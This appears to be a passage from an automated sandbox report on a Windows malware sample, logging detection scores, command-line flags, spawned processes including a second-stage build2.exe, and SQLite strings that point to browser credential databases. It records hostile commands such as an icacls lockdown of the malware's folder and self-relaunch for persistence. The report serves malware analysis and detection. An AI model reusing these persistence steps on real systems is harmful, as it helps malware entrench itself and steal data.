
7_2_0040D240

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --Admin	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: IsAutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: IsTask	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --ForNetRes	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: IsAutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: IsTask	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --Task	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --AutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --Service	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: X1P	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: --Admin	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: runas	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: x2Q	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: x*P	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: C:\Windows\	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: D:\Windows\	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: 7P	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: %username%	7_2_00419F90
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Command line argument: F:\	7_2_00419F90

Source: kOVwcHSfrR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000015.00000003.1802204970.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1815916515.0000000003A4B000.00000004.00000020.00020000.00000000.sdmp, AAKKFHCFIECAAAKEGCFI.21.dr, BFCFBKKKFHCFHJKFIIEH.21.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000015.00000002.2505120044.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: kOVwcHSfrR.exe	ReversingLabs: Detection: 75%
Source: kOVwcHSfrR.exe	Virustotal: Detection: 73%

Source: kOVwcHSfrR.exe	String found in binary or memory: set-addPolicy
Source: kOVwcHSfrR.exe	String found in binary or memory: id-cmc-addExtensions
Source: kOVwcHSfrR.exe	String found in binary or memory: set-addPolicy
Source: kOVwcHSfrR.exe	String found in binary or memory: id-cmc-addExtensions
Source: kOVwcHSfrR.exe	String found in binary or memory: set-addPolicy
Source: kOVwcHSfrR.exe	String found in binary or memory: id-cmc-addExtensions
Source: kOVwcHSfrR.exe	String found in binary or memory: set-addPolicy
Source: kOVwcHSfrR.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

File read: C:\Users\user\Desktop\kOVwcHSfrR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe C:\Users\user\Desktop\kOVwcHSfrR.exe
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe C:\Users\user\Desktop\kOVwcHSfrR.exe
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe C:\Users\user\Desktop\kOVwcHSfrR.exe	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\Desktop\kOVwcHSfrR.exe "C:\Users\user\Desktop\kOVwcHSfrR.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Process created: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe "C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe"
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Process created: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe "C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe" --AutoStart

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: kOVwcHSfrR.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Ni source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\e\C source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\7f source: kOVwcHSfrR.exe, 0000000C.00000003.1665394521.0000000009966000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665128050.0000000009960000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ache\$ source: kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1721247742.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760857005.000000000998E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1507820485.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507795365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1476987704.0000000003033000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\^d source: kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Logs\ source: kOVwcHSfrR.exe, 0000000C.00000003.1859438250.0000000009E8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CBACKGR~2ntkrnlmp.pdbndTransferApiGroupps_{869c683c-1d2a-4319-aa28-d1022055583b}q source: kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1859515133.0000000009D25000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859347025.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\05\* source: kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D35000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1823795183.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1835776456.0000000009A08000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836686110.0000000009A2F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837318811.0000000009A32000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826931766.0000000009A0E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826400249.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827751317.0000000009A37000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824990818.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834303755.00000000099F7000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825547771.00000000099F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1833584423.0000000003058000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836853617.0000000003061000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836498231.0000000003058000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*+ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cache2\d.pdb\kies\e source: kOVwcHSfrR.exe, 0000000C.00000003.1860513716.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1867250691.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\hr source: kOVwcHSfrR.exe, 0000000C.00000003.1723625866.0000000009A60000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1664844689.0000000003018000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Windows\Shell\.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1721479780.00000000099A0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799096449.00000000099AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798341336.0000000009998000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773527339.00000000099AA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.0000000009992000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801245103.00000000099B0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099A0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759783957.00000000099A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\! source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cs source: kOVwcHSfrR.exe, 0000000C.00000003.1845519778.0000000009956000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834527041.000000000995C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1845613219.0000000009960000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844038631.0000000009956000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 